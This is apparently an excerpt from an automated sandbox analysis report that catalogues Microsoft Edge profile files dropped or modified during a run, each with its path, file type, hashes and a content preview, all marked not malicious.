Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3d9e9418-f877-44f2-9972-26b832702626.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6b5ddb1f-4ccf-4c86-94fb-78d27bcc716a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\850f859d-ce8c-487c-8fdb-26819c4f7774.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1514
Entropy (8bit):	5.334409297298405
Encrypted:	false
SSDEEP:	24:YcFGJ/I3RdsdZVMdmRdsoRZFRudFGRRdsFa8ZC5m66C1E6ma3yeesw6maPsQYhby:YcgCzsbtsoXfcKsFJCjaleeBkhYhbx9+
MD5:	184BAAC4CAB682037A7E85E28FD53586
SHA1:	E902BB9F38232B51772F1D78EA2CE2C9A4931A36
SHA-256:	902E4DF229840E80941C4B2186BD00456E98A5A2763C34D666090DE8DA6DAD8A
SHA-512:	17006542EADA25CB7C7E22B12A2C3A3F60DDF75C10D452E7B0A841185EBE92C01C37622A64FFC3C53B6E0DFAB846788A013F4373DDC007F6D8710F11698F6168
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379838504707268","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379838508445633","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377332910222242","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com"},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.3584714849647515
Encrypted:	false
SSDEEP:	96:te+AuLzkSyc+VncXkOnKP9OKOI3eUADdX08:tTLYSyc+VqkOnKFOKOI3eUADdX08
MD5:	819090D46973D5B34E138CE68A9A489F
SHA1:	06DAA4168337EA2C4E7DF793E61E58E457119C37
SHA-256:	685C6BA8EE33DB06DD9BE59593B38C8D5058CE10059973D9E08F23C8690ACE90
SHA-512:	8D5B1252807EDA67F56E0DEDBBCB7E47FB2E12B6FFDA42C5BD180982FDB790277E19B8F7950D20E0377080CB58B0B0E40FF23E2C4FFF3072BD2A7E2E2CFB175F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4992f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1128159642701512
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBTI9:uIEumQv8m1ccnvS6XA
MD5:	9CFA28EF8B1B1157EAFE2D5FBC1BC9E1
SHA1:	710E8F08499F03AC9B0425DAE617B78BA3E291CA
SHA-256:	B3A0786EDADE1E71D2DAEE1DB28B82013018A1C853ABDC0992AE1F3A7CFBA008
SHA-512:	30ABCE7E3107F28BEC4BBFCBB680286622E820A704597D2A8D85FEAB598A48E92EB00CF9DE946AFA1922F509A52438075F2C42DF7911DACA28F2B56059586D3E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF385ea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39dd7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.117982952133084
Encrypted:	false
SSDEEP:	192:stRkdpVsFPsZihUkGGI83bV+FnAQA66WZaFIMYjPsYJ:stRQVsFPfh5bGAQx6WZaTYR
MD5:	930D8BC19F8B1EC5CA1D2FE8BF225C9E
SHA1:	8E04AC13B35E99BF204D9FA08AA714B1F9DD8B8B
SHA-256:	7D80DBF40D6B6C0A1720AED83C6166D33149495B4B65F7E10A58841F82ACE658
SHA-512:	6E660CC96621ABB6661973F7BAD53A6E07B1BEBA2A434329DFAEC9CAEF34397519BABA384A01460A7F185DB5FB7B71D2AF2C27F957A7CF40E290C137D8839A97
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ca17.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.117982952133084
Encrypted:	false
SSDEEP:	192:stRkdpVsFPsZihUkGGI83bV+FnAQA66WZaFIMYjPsYJ:stRQVsFPfh5bGAQx6WZaTYR
MD5:	930D8BC19F8B1EC5CA1D2FE8BF225C9E
SHA1:	8E04AC13B35E99BF204D9FA08AA714B1F9DD8B8B
SHA-256:	7D80DBF40D6B6C0A1720AED83C6166D33149495B4B65F7E10A58841F82ACE658
SHA-512:	6E660CC96621ABB6661973F7BAD53A6E07B1BEBA2A434329DFAEC9CAEF34397519BABA384A01460A7F185DB5FB7B71D2AF2C27F957A7CF40E290C137D8839A97
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF411fe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.117982952133084
Encrypted:	false
SSDEEP:	192:stRkdpVsFPsZihUkGGI83bV+FnAQA66WZaFIMYjPsYJ:stRQVsFPfh5bGAQx6WZaTYR
MD5:	930D8BC19F8B1EC5CA1D2FE8BF225C9E
SHA1:	8E04AC13B35E99BF204D9FA08AA714B1F9DD8B8B
SHA-256:	7D80DBF40D6B6C0A1720AED83C6166D33149495B4B65F7E10A58841F82ACE658
SHA-512:	6E660CC96621ABB6661973F7BAD53A6E07B1BEBA2A434329DFAEC9CAEF34397519BABA384A01460A7F185DB5FB7B71D2AF2C27F957A7CF40E290C137D8839A97
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4872e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.117982952133084
Encrypted:	false
SSDEEP:	192:stRkdpVsFPsZihUkGGI83bV+FnAQA66WZaFIMYjPsYJ:stRQVsFPfh5bGAQx6WZaTYR
MD5:	930D8BC19F8B1EC5CA1D2FE8BF225C9E
SHA1:	8E04AC13B35E99BF204D9FA08AA714B1F9DD8B8B
SHA-256:	7D80DBF40D6B6C0A1720AED83C6166D33149495B4B65F7E10A58841F82ACE658
SHA-512:	6E660CC96621ABB6661973F7BAD53A6E07B1BEBA2A434329DFAEC9CAEF34397519BABA384A01460A7F185DB5FB7B71D2AF2C27F957A7CF40E290C137D8839A97
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567742871969483
Encrypted:	false
SSDEEP:	768:qmROakWPTbfsP8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5ciilrwS+6pHtuk:qmROakWPTbfsPu1jasBiOetz
MD5:	653AE963F617D00DBE5FA0E5A436074B
SHA1:	B36B631E09B26907A47341C47D8629D911F86E59
SHA-256:	4355597D67459909AF2B7AF3B697667B8FEE735B2716358202CDAFC09DCE64F9
SHA-512:	9938D3E355E4B3BFC559DF74A56026449ABC69B56D921C7062BA65ADD2F3E3BF367FD80F0A934F26BA149FEE8339FD2BF047DEC584836C6AF741751B79342FB5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377246500146251","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377246500146251","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3c4d8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567742871969483
Encrypted:	false
SSDEEP:	768:qmROakWPTbfsP8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5ciilrwS+6pHtuk:qmROakWPTbfsPu1jasBiOetz
MD5:	653AE963F617D00DBE5FA0E5A436074B
SHA1:	B36B631E09B26907A47341C47D8629D911F86E59
SHA-256:	4355597D67459909AF2B7AF3B697667B8FEE735B2716358202CDAFC09DCE64F9
SHA-512:	9938D3E355E4B3BFC559DF74A56026449ABC69B56D921C7062BA65ADD2F3E3BF367FD80F0A934F26BA149FEE8339FD2BF047DEC584836C6AF741751B79342FB5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377246500146251","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377246500146251","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4125b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567742871969483
Encrypted:	false
SSDEEP:	768:qmROakWPTbfsP8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5ciilrwS+6pHtuk:qmROakWPTbfsPu1jasBiOetz
MD5:	653AE963F617D00DBE5FA0E5A436074B
SHA1:	B36B631E09B26907A47341C47D8629D911F86E59
SHA-256:	4355597D67459909AF2B7AF3B697667B8FEE735B2716358202CDAFC09DCE64F9
SHA-512:	9938D3E355E4B3BFC559DF74A56026449ABC69B56D921C7062BA65ADD2F3E3BF367FD80F0A934F26BA149FEE8339FD2BF047DEC584836C6AF741751B79342FB5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377246500146251","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377246500146251","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.098119323600578
Encrypted:	false
SSDEEP:	6:S85aEFljljljljlDllaV93FXrdUA5EEE:S+a8ljljljljlDlcFXrH
MD5:	1109E2734966D6359FA2F187A1F056E9
SHA1:	16811B3E5B7420FCADECA92813562BF5394808A9
SHA-256:	3FF089D2AEE7B3714E00AEB57F6EED619BD32386DC590E4737098DCB8D289934
SHA-512:	7CA0E390E2F3850F7A27DAD849E4FBC3E6187CDBB682D6A20AC258207E7925FE70DB8F2AB6CDA9B9D3801690BAD133BC42C4398232E9AED7F4F5EDC811FA62D9
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............U...b................next-map-id.1.Cnamespace-34c5ff0f_5adb_49a7_bcc0_26e9971e81e3-https://ntp.msn.com/.0V.e................V.e................V.e................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133079335211554
Encrypted:	false
SSDEEP:	6:HK0H4q2P923oH+TcwtrQMxIFUt8YK6UxJZmw+YK7DkwO923oH+TcwtrQMFLJ:zH4v4YebCFUt8fxJ/+bD5LYebtJ
MD5:	465A11F5062B8DD0214B174843E13755
SHA1:	5D1AAAE6C748B8F9802E015A7EA3E856CE991B12
SHA-256:	B76415C05B9485326EF565BB2681B27F8FE475DAB59B5D05B84E61D0B8423575
SHA-512:	5B945AAF0EE38EA3C9ABC126A2823E89DDE135807F6738B6D4733746203800F6A6BA26184B59C4E7ED0F76E1B6BAF9697D78EB15A25708F22F798B638EDEB620
Malicious:	false
Preview:	2024/11/28-00:48:20.895 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-00:48:20.944 1d64 Recovering log #3.2024/11/28-00:48:20.960 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133079335211554
Encrypted:	false
